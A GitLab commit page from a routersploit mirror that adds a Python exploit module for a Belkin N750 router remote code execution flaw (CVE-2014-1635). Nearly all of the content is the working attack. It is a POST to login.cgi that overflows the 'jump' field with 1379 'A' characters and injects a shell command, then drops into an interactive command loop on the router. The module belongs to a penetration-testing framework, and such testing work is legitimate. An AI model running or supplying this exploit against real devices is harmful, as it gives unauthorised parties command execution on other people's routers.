Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
cc1d8665
Commit
cc1d8665
authored
Apr 02, 2016
by
Marcin Bury
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
belkin n750 rce exploit
parent
f79b75d8
Show whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
75 additions
and
0 deletions
+75
-0
n750_rce.py
routersploit/modules/exploits/belkin/n750_rce.py
+75
-0
No files found.
routersploit/modules/exploits/belkin/n750_rce.py
0 → 100644
View file @
cc1d8665
import
requests
from
routersploit
import
*
class
Exploit
(
exploits
.
Exploit
):
"""
Exploit implementation for Belkin N750 Remote Code Execution vulnerability.
If the target is vulnerable, command prompt is invoked.
"""
__info__
=
{
'name'
:
'Belkin N750 RCE'
,
'description'
:
'Module exploits Belkin N750 Remote Code Execution vulnerability which allows executing commands on operation system level.'
,
'authors'
:
[
'Marco Vaz <mv[at]integrity.pt>'
,
# vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>'
,
# routersploit module
],
'references'
:
[
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1635'
,
'https://www.exploit-db.com/exploits/35184/'
,
'https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/'
,
],
'targets'
:
[
'Belkin N750'
,
]
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
def
run
(
self
):
if
self
.
check
()
==
True
:
print_success
(
"Target is vulnerable"
)
print_status
(
"Invoking command loop..."
)
self
.
command_loop
()
else
:
print_error
(
"Target is not vulnerable"
)
def
command_loop
(
self
):
while
1
:
cmd
=
raw_input
(
"cmd > "
)
print
self
.
execute
(
cmd
)
def
execute
(
self
,
cmd
):
url
=
sanitize_url
(
"{}:{}/login.cgi.php"
.
format
(
self
.
target
,
self
.
port
))
headers
=
{
u'Content-Type'
:
u'application/x-www-form-urlencoded'
}
data
=
"GO=&jump="
+
"A"
*
1379
+
";{};&ps=
\n\n
"
.
format
(
cmd
)
try
:
r
=
requests
.
post
(
url
,
headers
=
headers
,
data
=
data
,
verify
=
False
)
res
=
r
.
text
except
requests
.
exceptions
.
MissingSchema
:
return
"Invalid URL format:
%
s"
%
url
except
requests
.
exceptions
.
ConnectionError
:
return
"Connection error:
%
s"
%
url
return
res
def
check
(
self
):
# todo random mark
url
=
sanitize_url
(
"{}:{}/login.cgi"
.
format
(
self
.
target
,
self
.
port
))
headers
=
{
u'Content-Type'
:
u'application/x-www-form-urlencoded'
}
data
=
"GO=&jump="
+
"A"
*
1379
+
";echo 9fdbd928b52c1ef61615a6fd2e8b49af;&ps=
\n\n
"
try
:
r
=
requests
.
post
(
url
,
headers
=
headers
,
data
=
data
,
verify
=
False
)
res
=
r
.
text
except
:
return
None
# could not verify
if
"9fdbd928b52c1ef61615a6fd2e8b49af"
in
res
:
return
True
# target vulnerable
return
False
# target is not vulnerable
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment